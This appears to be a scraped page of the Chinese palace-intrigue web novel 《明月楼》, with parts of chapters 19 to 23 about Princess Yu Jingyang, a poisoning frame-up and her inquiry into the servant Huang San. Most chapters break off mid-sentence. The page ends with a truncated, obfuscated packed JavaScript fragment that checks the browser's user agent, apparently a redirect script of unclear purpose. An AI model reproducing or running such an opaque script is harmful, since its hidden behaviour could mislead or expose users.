一切都那样合情合理,分明处处是巧合,却叫人挑不出问题。 虞静央脑中飞速运转着,始终想不出一个破局之法。若真的是姜氏的手笔,他们自然无处可逃,若是有人蓄意栽赃也别无办法,因为这番筹划天衣无缝,根本就是冲着他们而来。 现在,这桩下毒案究竟是谁所为,已经不再重要了。虞静央不再怀疑姜家,心中清楚地知道——他们被人算计了。 高台之上,关皇后仍在一遍遍痛斥着她与姜府心肠之歹毒。虞静央意识到了什么。 父皇宠信姜家,不代表他连谋害皇子这样的大事也可以视而不见,一旦他知情,姜家必遭灭顶之灾。关皇后揪住了这样一个大罪,却没有第一时间告诉父皇,而是单独传唤她来这里怒斥,实在太过反常。 她身上一定有关皇后想要的东西。 虞静央不是个傻子,苍白着脸色:“皇后想要我怎么做?” 听罢,关皇后果然怒气微消,还勾起了唇角:“三公主果真十分聪慧,不怪陛下喜爱你。” “那乌砂毒性强,好在循儿和澜儿并未吃下太多,勉强保住了性命。虽然如此,凶手还是要付出代价才行。” 她眼露精光,一字一句说得从容,提出了自己的条件:“眼下和亲之事在即,南江使者一遍遍地催,着实让朝廷不堪重负。三公主一向懂事,若一人背下罪名自请为国和亲,本宫定会为公主大义而感动的。” 虞静央孤身站在原地,手脚一片冰凉。原来,这才是关皇后的最终目的。 南江在大齐危难时趁火打劫,胜之不武令人不齿,战后议和时姿态强势,毫不容情。远嫁南江为妃,一路千里谈何容易,只看南江人对待大齐的态度,就知嫁过去的日子不会好过。 无人不清楚成为和亲公主的艰难。如若答应,她今生都要远离大齐,在南江生活一辈子。 虞静央声音哑而艰涩:“若我不答应呢?” “一切尽凭三公主选择。毕竟陛下倚重姜侯,对你和晋王更是宠爱有加,想来就算论罪,也定会从宽处置。” 关皇后安坐主位,姿态从容,全无对一双中毒儿女的担忧和不安,仿佛一切都可以是权势博弈的筹码。虞静央望她许久,这才恍然大悟。 是她低估了关氏。今日之局不是偶然,而是关皇后自导自演的一出大戏,只为重创对手,逼她在自己和家族中间做出选择。不论最后结果如何,得利的都只会是坤宁宫。 关皇后根本不在意她的眼神,满面快意,低声道:“你可不要怪我,要怪就怪,你长得实在太像你母亲。” 在这座皇宫里,一切与姜翎音有关的人和事都应该被抹去痕迹。虞静央,虞静延,她自会一个个来。 虞静央坐在地上,心头抽成一团,几近痛不欲生。 许久之后,她露出个自嘲的笑,红着双眼:“皇后,你赢了。” …… 那时的虞 19. 花环 《明月楼》全本免费阅读 她想得不错,所谓中毒案,真的是关皇后与她的一双儿女联手做的局。 前几日宫宴外,虞静澜和虞静循兴师问罪的模样犹在眼前。气愤又委屈的模样险些把她被骗了过去,傻傻地以为他们毫不知情。 孩童时聚在一起你追我赶,无忧无虑的场景再也无法追寻,终究是一场镜花水月。 从坤宁宫出来,那阵喘不过气的感觉骤然消失了。虞静央吸吸鼻子,一时舍不得这充盈又新鲜的空气,胸口的憋闷感好了一些。 晚棠有些担忧,想着帮她转移一下关注力:“殿下,现在回府吗?晋王妃送了自己做的蜜饯来,滋味甚佳呢。” “替我谢过嫂嫂。” 前脚在长公主府,后脚又进了宫,虞静央感到一阵疲累。强行把那些乱七八糟的事忘到脑后,她正想说“回”,可一想到晋王府,心中涌上一阵强烈的委屈。 母子之间同气连枝,兄妹为什么不能? 她好不容易从南江回来,姑母都不舍得多骂几句,嫂嫂也还是对她很好,独独兄长一直冷淡。是不是她犯了大错,兄长就要一辈子不理她? 思及此,虞静央硬气了许多,决心不能如此坐以待毙下去,对晚棠说:“乐安喜欢吃小点心,我们买一些,然后去晋王府。” - 半个时辰后,虞静央走进晋王府后院,在看见乐安身边那人后,面上噙着的笑意顿时僵住了。 正是傍晚时分,男主人虞静延不见踪影,八成还在书房处理公事,祝回雪去他人府上参加赏花宴还没回来。虞静央倒也不急,本打算进去和乐安玩一会儿,不成想萧绍竟也在这里。 萧绍被卸了差事,一时闲暇下来,出宫后便改道来了晋王府,现在正蹲在花丛边,耐心教乐安编草蚱蜢。他也看见了虞静央,动作停住。 萧绍压下心头的异样感,率先站起身,远远冲她一礼。 自从上次绥欢院的事过后,他们还没有见过面。如今四目相对,当时那种局促的感觉就又涌了上来,一切好像发生在昨天。 虞静央回过神,匆匆一颔首,脸上悄然有了热度。 小乐安正在兴头上,看见虞静央很是高兴,蹦跳着奔到她面前,炫耀般举起手里的花环:“姑母看!萧叔父编的花环好不好?” 虞静央离开大齐时乐安还没有出生,她本担心见面会生分,好在小家伙不怕人,认识后很快就亲近起来。粉粉嫩嫩的小女孩,最是招人怜惜。 萧绍就在旁边,她只当看不见,含笑蹲下身抚了抚乐安的小脸:“乐安喜欢就好。” 虞静央刻意忽略了那只花环,没有多加评价。乐安却觉得她喜欢,微微抬起脚尖,把花环戴在了她的头上。 她呼吸一滞,下意识要取下来,乐安却不依,按住不让她摘:“姑母不喜欢吗?可是姑母戴上好看呀。” 小家伙扁起嘴,好像下一刻就要哭出来,虞静央感到无措,忙哄道:“姑母喜欢的。” 乐安重新高兴起来,反观虞静央就没那么好受了。精致的花环一圈花朵盛放,一看便知用心,戴在头上,仿佛制作之人指间的温度都随着一条条花枝,无声传到了她的皮肤。 虞静央别过脸,完全不敢抬眼看萧绍的神情,却敏感地感受到了那道目光的存在,正定定望着她。 她硬着头皮,对乐安好言好语:“这花环很漂亮,可是不适合姑母,摘下来怎么样?” “为什么不适合?” “因为这是孩童玩的东西呀,姑母已经长大了。” 乐安听罢气鼓鼓:“谁说花环只有孩童能戴?姑母这么好看,明明就戴得!” 三四岁的孩子人小鬼大,虞静央更没法反驳了。萧绍在一旁静静看着,唇角微微弯了弯。 他问:“乐安,还要不要草蚱蜢?” “要!”乐安又嗒嗒跑去了萧绍身边。虞静央知道他是为自己解围,好歹是松了口气,抬眼一望,见乐安兴致高昂地凑在他身边,小手扶着他右侧小臂时,他竟反常地动作一滞。 虽然他很快就恢复如常,虞静央还是看到了,继续悄悄观察萧绍的动作,果然见他手指编草很利落,手臂屈展时却有细微的迟缓。 他受伤了? 像这种细节不好发现,何况是小孩子,乐安丝毫没有察觉,还在缠着萧绍给她编蚱蜢编兔子呢。 虞静央见了,主动出声唤她:“饿了吗?姑母买了你爱吃的点心,歇一会儿再玩好不好?” 孩子心思单纯,一听有好吃的点心就高兴,虞静央一笑,吩咐晚棠带着乐安去吃点心。 一时间,花园里就剩下虞静央和萧绍两人,气氛变得微微凝滞。 半晌,还是虞静央主动道:“那天的事,我还没有谢你。” 萧绍知道她在说那晚在公主府的事:“殿下放心,臣自当守口如瓶。” 数月以来,他早已习惯了虞静央这副遇事便要道谢的生分模样,这次索性没再推辞,而是沉吟片刻,斟酌着说:“殿下这几年在南江的日子如何,也该适时让陛下知情几分。如此,或许能助殿下早日得偿所愿。” 面前的人已经与他毫无干系,萧绍本以为回到玉京后,自己一定敬而远之,再也不会介入与虞静央有关的事。可那晚一室烛火通明,惊惶和无助映了她满眼,亦如一把刀深深插进了他心里。 再也不相干吗?可他还是想帮她一把。 虞静央心中一动,抬眼看他:“为什么要对我说这些?” 萧绍默了默,而后别开视线,沉声回道:“殿下是大齐的公主,本不该在异国受人磋磨。” 微妙的空气在二人之间涌动,虞静央得到答案,垂着眼轻嗯一声。 她知道他的意思,无非是为大齐国威和脸面考虑,与她本人怕是没什么干系。 他现在是萧将军,人人都要敬着畏着,早就不是当初那个满心儿女情长的少年了。 这时候,萧绍忽然问她:“殿下是多大的孩童 20. 归雪 《明月楼》全本免费阅读 南江,王储府。 “咣——” 桌上的白瓷茶盏被狠狠砸在地上,顷刻间四分五裂。下首面容清秀的少年被这一声重响吓到,浑身抖了抖。 少年小心翼翼抬起头,怯声:“王兄……” 那人没有耐心听他说什么,手背暴起的青筋显示着他此时正处于盛怒之下,那双本就显得冷漠的眸子愈发慑人。 女官银兰铩羽而归已经过去几月,今早上朝时,外事官再度提起与齐国交涉的事,提及早日迎回储妃时再次被齐国皇帝婉拒,称南江至今局势不稳,不能放心公主离国。 他们和西戎已经停火多日,而齐国朝廷的态度始终暧昧不明。看架势,竟是要把此事一拖再拖。 想起那张美丽却刚烈的面庞,郁沧目光黑沉,压抑着暴怒和不甘。 西戎军攻进王都时,他跟随父王母后第一时间离宫逼乱,不是没有想起行宫里的虞静央,只是她性格倔强从不服软,多年待他冷淡,实在没有一个贤良妻子的样子。他想着小惩大诫,只消等到西戎劫掠行宫时再派人把她救出来,死里逃生一次,自然会让她明白谁才是她能依靠的人,从此背脊就会变得柔软,就此死心塌地,安分度日。 可惜,他自以为计划周密,却没有算到她胆大至此,在西戎逼近之前已经带着零星几人出动逃命,而且一去就是边境。 孤身出逃投奔齐营,齐国庇护不说,惹得梨花寨竟然也为她出头……他的储妃,还真是背着他长了许多能耐。 可是…… 脚边跪着的侍妾花容失色,大气不敢出,一边坐着的少年也噤若寒蝉。郁沧不理会,残忍地勾起嘴角。 天真的静央,多年了,还是看不清女子出嫁从夫的道理,以为回到母国就万事大吉了。 哪里是那么容易逃走的呢? 南江九皇子郁泽年未及冠,还是个单纯的小孩子,偷偷观察兄长的神色不由打了个寒颤,忍着畏惧开口:“王兄莫要担忧,许是王嫂过于思念故国,如今好不容易回去,想要多留一段时日也是正常——” 他话没说完,被扫过来的眼神吓得生生停住,再也不敢出声。郁沧正在气头上,又在心里蔑视大齐,郁泽这番话本意是为让他宽心,此时却无异于火上浇油。 “九弟还真是心善,口口声声为她说话。可见她从前幽居行宫是假,应当暗中收买了不少人心。” 郁泽面色一白,当即跪倒在地,连声辩解:“王兄误会了,是臣弟失言!” “你母族低微,因为自幼养在母后膝下才得了几分体面,现在也敢来置喙我的事?不知天高地厚。” 郁沧冷冷瞥了他一眼,声音阴冷:“记住,我才是你应该向着的人。莫要为一时意气,丢了一生的体面。” 郁泽红着眼睛伏地:“臣弟明白了。” 印象里的王嫂为人恬淡温柔,自己的处境已经足够糟糕,却还是会为了一只病弱的幼犬,不惜得罪王兄身边的宠妾。 可即便如此,他也不该冲动,自以为是地贸然为王嫂说话,现在既帮不了王嫂,又惹恼了王兄。 --- 今日阳光明媚,和风煦煦,是个难得的好天气。虞静央出府赴约,到了一处书铺直向二楼去,推门进入,果见矮桌前倚着一个青衣少女,手边放着一摞书卷。 “央姐姐,快来!”看见虞静央,少女面露欣喜,遥遥向她招了招手。 虞静央翘起唇角,走到她身边坐下:“你自小喜欢看书,现在还是一样。” 少女神色腼腆:“父亲书房里的书多是些深奥晦涩的古籍,读久了实在乏味,想找些解闷的书来看一看,也就只有偷偷找央姐姐来这里碰头了。” “放心吧,我不会告诉舅父和舅母的。”虞静央笑道。 少女名叫姜瑶,是虞静央的嫡亲表妹,年纪小她四岁,从小喜欢跟在她屁股后面叫姐姐。与其弟姜琮相比,姜瑶性格温和明理,所以虞静央更能与她玩到一起。 有了虞静央的保证,姜瑶更放下心,把自己提前挑出来的一部分书本推到她面前。 她双眼微弯,压低声音道:“知道央姐姐喜欢看这些,都是最时兴的,评价似乎都还不错。” 看着自己面前一叠花里胡哨的书本,虞静央姿态依旧得体,眸中却不可控地流露出几分怔愣。 她年少时言行跳脱,不喜欢读那些枯燥的酸词,唯独喜欢看这些“不入流”的话本,时常被长辈亲友拿来调侃。后来她嫁去了南江,也就没有再看过了。 现在,这样的话本又铺满了她眼前,竟是恍若隔世。 “央姐姐,央姐姐?” 姜瑶疑惑的轻唤使虞静央回过神,神情恢复如常回以一笑,道谢说:“瑶儿,你有心了。” 说了一会儿话,很快到了饭点。姐妹两个找了一家酒楼,坐在雅间里能听到楼下隐隐传来的丝竹琴筝声响,却没有嘈杂的人声,还算安静雅致。 用过饭,二人还没有离开。虞静央随意一瞥,看见姜瑶选给自己的书,比给她的要多一些,里面有话本也有正经书,放在最上面的那本…… 她感到有些熟悉,拿起来一瞧见是本游记,翻开扉页,在作者的位置处有四个小字“归雪山人”。 果然。 虞静央不禁了然一笑,面上带着几分怀念。 “央姐姐喜欢这本?”姜瑶见她神色微妙,倒也不疑有他,而是不好意思地开口:“对不住,近日它实在太抢手,我等了许久才得到这一本,怕是给不了姐姐。” 虞静央轻摇了摇头,眼有悦色:“这个作者的书在民间很盛行?” “当然了!每次归雪山人有了新书,那些书铺都能大赚一笔。”说起自己感兴趣的话题,姜瑶眼睛都开始放光,似乎还带着不自知的仰慕和憧憬:“归雪山人擅写游记,字里行间透着的雅致气度最为动人,想来定是个才华横溢的风雅郎君呢。” 虞静央静静听着,一边感到忍俊不禁。 皇嫂为了写作取的别号的确风雅,自己又藏得深,除了特别亲密的人之外剩下的都不知情,要是有朝一日让姜 21. 珠玉 《明月楼》全本免费阅读 姜瑶没有发现她的异样,正好现在已经用完饭,便提议离开酒楼,虞静央以等候车驾为由让她先走,姜瑶也就没有推脱客气,抱着书踏上了回府的路。 她走后,虞静央面上没了笑意。晚棠会意,低声问:“殿下,可要把黄三抓回来?” 下毒案事发后,赵嬷嬷作为谋害皇嗣的罪犯,被关皇后处以极刑。自那以后,虞静央就再也没有见过黄三,以为他也许死了,不成想多年后会在这里再次见到。 黄三曾是赵嬷嬷的相好,在外做屠户营生,为人颇老实本分,不知他是如何进的姜府,成了这个高彭的手下。 属实蹊跷。 想起赵嬷嬷指认她和姜家时视死如归的决绝模样,虞静央若有所思,但不愿贸然打草惊蛇,沉吟过后,只道:“找人盯着,尤其别让人死了。” 晚棠应道:“是。” 公主府的马车已经在酒楼外,两人不再多留,出了雅间。 轻缓的女子步履声消失在楼梯尽头,她们走后不久,隔壁房门打开了。为首魁梧高大的中年男人跨出房间,神情含着探究之色。 须臾,他问:“这段时日,继淮可与宣城公主有过联系?” “回侯爷的话,世子近日留在府上养伤,只在去晋王府时与公主见过一面。”侍从恭恭敬敬跟在他身后。 “他的亲卫侦查本领了得,会任由你们盯着他?” “这……”侍从面露为难,说不出什么了。毕竟此话属实,他们奉命跟着世子,实际上也只能了解一点他在明面上的行动,至于他会秘密做什么,那就无从得知了。 侍从无话可说,男人冷哼,手中茶盏撂在桌面上。 只看今日表现,宣城公主远非昔日单纯之态,已经变成了一个极为危险的女人。若萧继淮不长记性,不听劝告,等着他的会是无穷无尽的麻烦。 --- 之后的一段日子算得上安定,虞静央没什么重要的事,每日不过是在自己府上绣花喝茶,再挑时间不时去长公主府或晋王府转一转,当然她长了记性,总是会事先问清楚要去的地方有没有别的人,确认后才能彻底放下心来。 上次她派人去盯黄三的行踪,但其实并没有抱太大希望,毕竟他从前是个背景极其干净的屠户,即使现在进了姜氏,或许也是因为他造化如此,与赵嬷嬷的事扯不上关系。 虞静央是这样想的,也几乎就要把自己说服,直到那天自己派出的眼线传回了消息,高彭启程返回陇西的那天,黄三作为他的副手随行,在半路遭到了劫杀。当时姜家的护卫还在不远处,听到风声后赶来得及时,让黄三捡回了一条命。 公主府的人潜伏在隐蔽处目睹了全程,后来顺着这条线索查下去,发现出手的是一个民间杀手组织,与黄三从无仇怨。 收到这个消息后,虞静央的心沉了沉。杀手组织收人钱财替人办事,会对黄三动手,就是有人想要他的命。 他一定有什么不可告人的秘密。 然而,黄三现在已经离开玉京,踏上了去陇西的路。对虞静央来说抓他回来有点困难,可又不能借亲近之人的力,如此看来,只有…… 一阵决然涌进虞静央的心,她站起了身。 …… 半个时辰后,一个绀色袍服的文官匆匆赶来,对着屋中女子垂首行礼:“老臣见过殿下!” “起来吧。”虞静央披着一件暗色的宽袍,十分低调,伸手掀开了遮住半张脸的兜帽,“林大人,别来无恙。” 林岳青应声起身,心中不安却未减。廷尉府主管刑罚断案,今日虞静央突然到访,莫非是公主府出了什么意外? 他问出了口:“殿下为何前来,是出了什么事吗?” 男人眼中有担忧之色,还是从前那个和蔼温和的长辈,只是多年刑责判案的职务负担,让他的两鬓已然染上白霜,没了从前的意气风发。 “林叔父,我无事。”虞静央满心感慨,温声道:“多年不能过来看望叔父,我心中过意不去。若是母亲泉下有知,定要斥我一句白眼狼。” 她言罢,林岳青面上泛起怀念,笑容里是真切的温情:“殿下远嫁他国后得以再度回家,乃是有福之人。姜夫人只会无比欣喜,岂会斥骂。” 他的一番话将两人的距离拉近了不少,仿佛又回到了当年,虞静央不由浅笑,轻声道:“叔父明知这样的道理,又为何总是为难自己呢?” 她说完,林岳青的笑意淡了些,良久一叹:“殿下不必劝我。” 林岳青祖籍陇西,年少时与姜夫人青梅竹马,可惜襄王有意,神女无情,姜夫人出嫁后,他也投入了虞帝麾下,算是用自己的方式始终守候在心上人的一步之外。姜夫人去世后,他心有怨怼,也没了建功立业的宏图大志,意欲辞官返乡,无奈虞帝不肯放人,他无法抽身而退,却也迈不过心里那道坎,多年在廷尉府停滞不前,只守着个高不成低不就的廷尉侍郎之位蹉跎。 姜夫人病重之时,曾托付他向陇西传信,想要再见父母一面,偏逢数日大雨不停,林岳青快马加鞭日夜不休赶了回去,却还是迟了一步。等到他回到玉京,姜夫人已经魂归天地。 每每想起此事,林岳青心中悲意难止,因此将过错全都归于自己一人。在他心里,逝去的芳魂始终如珠似玉。 虞静央望着他,心中百味杂陈。如母亲那样美丽而耀眼的人,偏偏芳年早逝,落得个人人缅怀的结局。乾安宫思她,廷尉府念她,可斯人已去,纵是思念汹涌滔天,又有谁能感知到呢? 思量及此,虞静央起身,侧脸在烛火映照下投向光洁的墙面。 “大人于母亲有愧,就帮她的女儿做一件事吧。” --- 没人知道虞静央同林岳青说了什么。从廷尉府秘密离开后,她低调回府,过了约莫一柱香的功夫,小厮通传府外有人求见。 这个时辰,本不该有人来访。不知为何,虞静央莫名感到一阵心慌,被自己强行压了下去,如常问道:“是什么人?” 小厮答:“是个生面孔,但带了信物,说是只要殿下一看,就一定会见他。” 虞静央蹙眉,命人把信物拿上来,竟是一面南江的令牌。 晚棠大惊,对着小厮厉喝:“怎么做的事!这种东西也敢呈上来,不怕污了殿下的眼!” 小厮不明所以,慌慌忙忙跪地请罪。其实做下人的不会读书识字,更别说辨别其他民族的文字,认出这是来自南江的令牌。 晚棠训斥几句,却也没动真格,暗中使眼色让人退下 22. 冤屈 《明月楼》全本免费阅读 晋王府。 正院卧房里,帐中宁静无声,细小的烛火在轻风里轻晃,照出一点微弱而昏黄的光。祝回雪守在榻前,有一下没一下地摇着罗扇。 一片静寂,卧房门悄悄打开了,虞静延放轻脚步走进,绕过屏风就看见这样一幅景象。祝回雪手拿着一把小扇,另一手撑头打着盹,秀丽的眉眼昏昏欲睡,帷帐里的小姑娘面容安恬,裹着锦衾睡得正香。 虞静延的心一下子沉静了下来,眸中悄然升起柔色,轻手轻脚走到床榻边,捏住祝回雪指间的罗扇,然后一抽。 扇子被轻松取了下来,他放到一边,见她衣衫轻薄,此刻睡着了,身子似是冷了一般缩了缩。 就在虞静延从悬架上拿了件外袍,轻轻披在她肩头的时候,祝回雪睁开了眼睛。由于刚刚打了个盹,她眸中尚有迷蒙之色,在看清面前人后立刻变得清明。 “殿下?”祝回雪惊讶地脱口而出,回神后先是起身行了个礼,语调恢复如常:“殿下怎么过来了?” 按照惯例,他今日应该在苏良娣那里的。 “苏良娣身子不适,我便没有过去。”虞静延道。 “可是苏妹妹不舒服,不是更需要殿下相陪吗?” 她难得话多一次,虞静延听了却不舒服,反问:“王妃是在赶我走?” “妾身不敢。”听不出他心情如何,祝回雪不敢再说什么,纵有再大的困意如今也散了。 虞静延瞥她一眼,没再说话,越过屏风走向书案。祝回雪想起什么,突然变得有点慌,跟在他身后加快脚步。 她先一步把案上摆着的书收了起来,虞静延看着她动作,目光里意味不明。二人四目相对,祝回雪站在原地僵直片刻,最后还是把手里的东西交了出来。 虞静延接过来一翻,是她从前写过的几本书,每一本的扉页处都写着四个飘逸的小字“归雪山人”。 这些书他都知道,正想放下,一掂却发觉重量不太对,像是多了一本。 虞静延抽出最底下放着的一本。这本没有书名,装订也还很粗糙,里面内容只写了一半,看来是她还没有完成的作品。 他面上喜怒不显,更让祝回雪心中没底。自她嫁入晋王府,他虽然没有在这件事上对她明确约束,却也没有什么支持的意思,看上去并不上心。诚如初桃所说,在这个世上,有几个男人会希望看到自己的妻子行事出格,掩藏身份写这些东西呢? 祝回雪目色暗淡了几分,轻声道:“殿下不喜欢,妾身以后不会再写。” “你很喜欢蒙州?”虞静延问。 “嗯?”祝回雪被他突如其来的一问弄得茫然,后知后觉意识到他应该是看见了自己书里的文字。 她定定神,斟酌着答道:“蒙州山水风光壮丽,使人观之忘忧。若日后殿下有机会去,一定也会喜欢的。” 他去蒙州吗…… 不像祝回雪走过了一大半大齐河山,自从懂事起,虞静延就被一个“皇长子”的身份绑在了玉京,二十几年间踏足过的地方也不过陇西、淮州寥寥几处,且大多时候是奉朝廷之命出外处理公事。所以,他似乎从未有闲暇把目光分给途中的景色,至于那些自然风光优越的怡人之地,也就更没有机会见识了。 与自己的妻子相比,他眼中的色彩显得那样寡淡平常。 虞静延比祝回雪高出一个头,看见她的眼睫不安地轻颤,如一对扑扇闪烁的蝴蝶翅膀。 他没继续这个话题,把手中的书本还回去。祝回雪很快接过收好,暗暗松了口气。 想起近日虞静央那边发生的事,她颇为担忧,问道:“听闻阿绥府上遭了刺客,当晚就报到了廷尉府,可见受惊不轻……殿下可去探望过了?” 虞静延应了,提起此事,眉宇间的柔和淡了下去。 公主府门前平白多出一具横死的尸首,虞静央亲眼看见,自是被吓坏了。毕竟是从小爱护大的妹妹,出了这样大的事,虞静延前去探望,不巧当时她心神不宁好不容易入睡,他便也没有打扰她,临走前吩咐了府上侍从,叫他们不必告诉她自己来过。 南江的细作混入玉京又被人所杀,一时还抓不出凶手,实在是件棘手的事。廷尉府查来查去不见进展,被虞帝斥责无用,萧绍沉默着旁观,最后说道:“我去吧。” 萧绍介入其中,虞静延放心了不少,有他在,虞静央的安全就不必担心了。 “不必担心,她没事。”祝回雪面露关切,虞静延望着她,主动说道:“昨日我去的时候,看见她的药碗旁边放着你做的蜜饯。” 既是放在药碗旁,那就是喝药时常常会吃的。祝回雪不由展颜:“阿绥喜欢就好,改日妾身再差人送些去。” 她双眼微弯,是发自内心的高兴,多了几分平时没有的鲜活俏丽。站在柔和的烛光里,更显得她眉眼灵秀,身条婉约。 最近有了新鲜杏子,正好可以多做一些。 祝回雪正思索着,帐中睡着的乐安似是发现了母亲的离开,不安地翻了个身。 祝回雪发现了,快步走到榻前安抚。半晌后乐安再度熟睡,她无奈地笑了笑,想起虞静延还在后眼中闪过挣扎,还是转过头看他,笑着道:“乐安近日脾胃不好,夜里睡不安稳,妾身恐怕离不得,现在天色不算晚,想来徐侧妃她们尚未就寝。既是苏良娣身子欠佳,殿下不如——” “够了。”一而再再而三地被自己的妻子往外推,任谁也受不了。虞静延的脸色果然沉了下去,直接打断了她,祝回雪低着头,无助地攥了攥手边的帷帐,心中渐渐开始后悔。 就这样沉默了很久,她率先出声,试图弥补刚才说错的话:“是妾身错了,殿下……今晚要留下来吗?” 然而,虞静延没有接受她的服软:“不必了。” 他深深望了她一眼,毫不留恋地向外走。 “殿下怎么出来了?这……” “去书房。” 外面的脚步声渐渐消失,祝回雪心中不由酸涩,露出苦笑。 她的身子受损,很可能已经没有生育的机会了。可一个皇长孙对晋王府何其重要,她做不到的事,只有交给其他女子去做。 --- 公主府,等到萧绍安排好新增的守卫布防,夕阳已经西斜。事了,他走进内院,沿着阁楼的一层层台阶拾级而上。 虞静央身子不好,而今又受了惊吓,萧绍以为她会窝在绥欢院里哪都不去,一问侍从才知她竟不在,而是把自己藏进了内院东南角的明月楼。 一直上到第三层,萧绍才在檀木花架后的角落里找到了她。不知在这里待了多久,虞静央没有睡着,只是抱膝把自己蜷缩成一团,像一只被欺负了的小兽。 长这么大,她怕是第一次看见那样血肉模糊的场面,到底是被吓到了。 萧绍心中不是滋味,走到她面前:“殿下,怎么躲在这里?” 他出了声,虞静央才发现他的存在,眼中尚有茫然,望了他一眼,复又低低垂下:“这里安静,没有人。” 杀死那个细作的凶手还没找到,在她的心里,现在可不就是没有人的地方最安全吗。 萧绍抿唇,在离她两步远的地方蹲下:“我的亲卫围住了整座公主府,只要有形迹可疑的人现身,他们立刻就能察觉到。” 偌大的阁楼点了几盏灯,正好控制在不暗也不亮的程度,暂时安定了虞静央不安的心。她听出萧 23. 父子 《明月楼》全本免费阅读 几日后,虞静央收到了一封来自林府的帖子,邀她同去拜祭姜夫人。马车从公主府出来,自陵墓离开后却没有立马回府,而是车头一转,悄然入了一处别院。 虞静央到达时,林岳青已在外院等候,手下的人看押着一个罩着头的囚犯,正捆了手脚跪在院子中央。头套揭开,脸上两道疤尤为显眼,正是那日在酒楼见过的黄三。 虞静央亲自抓人不方便,但对林岳青这个廷尉侍郎来说却是易如反掌。如她猜测的那样,跟着高彭那样的上峰,黄三必定沾染了很多坏习性,经不起查,如此,廷尉府抓他就是师出有名,任谁也拦不得。 “三殿下?”见来人是她,黄三明显错愕,反应过来后连声求饶:“殿下饶命,殿下饶命!” 虞静央居高临下看着他:“本宫为何要杀你,难道你做了什么坏事?” 她说完,黄三匍匐的身体狠狠一僵,这一细微的反应让虞静央眯起了眼。 不过,他只愣了片刻的时间,很快就又变回了那副贪生怕死的慌乱模样:“奴才不该偷姜家名下当铺的银子,可这都是受了高彭的挑唆啊!求殿下饶了奴才这一回吧!” “只是这样?”他所说并不是虞静央期待的答案,不动声色试探:“可本宫听闻,你做过的错事远不止这一件。黄三,你可要想清楚了再说。” 当时她被指认,但赵嬷嬷作为她的“心腹”,依旧是毒害皇嗣的直接凶手,被关皇后秘密处以极刑。在那之后,黄三就如人间蒸发了一样消失在了玉京城,再也没有了消息。 人不为己天诛地灭,害怕受牵连是人之常情,若虞静央今后再也不会见到他,也许就不会再想起,可他偏偏又出现在了玉京,还从一介平平无奇的屠户摇身一变成了姜氏门下管事的随从,实在是蹊跷。 还有在酒楼雅间门口,黄三看到她时惊恐又心虚的表情…… 从前,虞静央一直以为下毒案是关皇后一手操纵的局,可是现在,她怀疑姜家里面真的混进了脏东西。 虞静央盯着他面庞,缓缓说道:“当年赵嬷嬷为何会被处死,你可知情?” 说起故人,黄三脸上的刀疤抖了抖,悲声道:“奴才只知她惹怒了宫中贵人,个中细节并不知晓啊!” “那你为何当时音讯全无,要从玉京逃往陇西?!” 虞静央立刻打断了他的话,厉声道:“若真如此简单,赵嬷嬷被处死,你又岂会慌乱不已!你和她之间,到底藏了什么秘密?” 黄三这五年间的去向,她已经委托林岳青查到了七七八八,得知他去了陇西,回到玉京不过是半个月前的事,却一回来就遭到了杀手的追杀。如果不是身上背着什么要紧的事,岂会被人紧追不舍要灭口? 当年在坤宁宫的情景,虞静央至今还记得,赵嬷嬷在关皇后面前言之凿凿,拼命要把她拉下水,眼睛里却蓄满了悲绝的眼泪。她直觉赵嬷嬷的背叛另有隐情,而黄三恰是赵嬷嬷生前最亲近的人,现在他种种举动皆分外可疑,难道真的没有问题吗? 也许他不是共犯,却很可能知晓一些重要的事,可以帮虞静央找到证明自己清白的证据。 黄三早已被吓得六神无主,慌乱道:“赵嬷嬷死得凄凉,陇西是她的老家,奴才只是想着替她去看一看!其他的事真的不知,真的不知啊!” 虞静央忽然怔了怔,满心的焦躁戾气也因此停滞了一瞬。是啊,赵嬷嬷出身姜家,早年是母亲身边的侍女,陇西,是姜家本家的发迹之地。 黄三还在不停地磕头,见虞静央不语,终是屈服招认:“奴才该死!都是奴才的错,当年心性不坚被歹人带歪了路,才会入了那花街赌坊!赵嬷嬷没了,可玉京最繁华,若非身负债款实在难以偿还,奴才是绝不会逃走的啊!” 他涕泪流了满脸,看上去分外狼狈,额头都磕出了血。虞静央心中惊疑不定,原先萌芽的猜测也渐渐变得动摇起来。原来黄三那时就沾染上了赌博,难道他是为此事才会远走陇西,又在那里被姜家的人看中,现在在玉京被追杀,也是因为当年的债主找上了门? 虞静央暗暗思量着,便依旧保持沉默。黄三见状更是慌张,仿佛头顶的刀铡将落未落,于是继续哭求:“殿下不信奴才的话,大可去城北锦巷的王家问!当初就是他们家二郎带我进的赌场,还把钱借给了我。求殿下明察!” 黄三真的被吓破了胆,血和泪夹杂着往下流,染湿了一小片地面。虞静央看不下去了,冲他道:“够了!” 她最后看了黄三几眼,心烦意乱地转过身,对林岳青道:“林叔父,他犯过的事要是罚了,就把人放了吧。” 林岳青不解:“殿下不继续查了吗?” 虞静央垂下眼,叹了口气:“我想那件事或许真的和他不相干,是我太疑神疑鬼了。” 黄三只是赵嬷嬷的相好,连正经夫妻都算不上,若当时赵嬷嬷受人指使或逼迫,未必会对他毫不设防。要是真的在意他就更会守口如瓶,努力让他置身事外不受牵连。不过黄三变成了个赌徒,这是虞静央没有想到的,如果他是为了钱财才会四处流浪漂泊,很多事就都说得通了。 先前她的各种怀疑都没有根据,可能都源自自己草木皆兵的臆想。 虞静央沉吟半晌,道:“但我会派人暗中盯着他。万一日后查出任何不妥,照样可以抓他回来。” 她思虑周全,林岳青听罢也没什么异议,按照她说的放了人。黄三拣回一条小命自是感恩戴德,对着虞静央千恩万谢,也顾不上模样狼狈,软着腿脚一瘸一拐地跑了。 林岳青隐有担忧,问:“若他有问题,只是我们没有发现,今日一举岂非打草惊蛇,引得背后主使警惕?” 虞静央看着黄三匆忙的背影:“他不会说的。” 这座别院位置偏僻,十分不起眼,只要黄三守口如瓶,今日的事就不会被任何人发现。 --- 萧侯府。宽阔的宅院气势恢弘,偏偏充斥着花香和女子脂粉的香气,浓烈到有些刺鼻。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 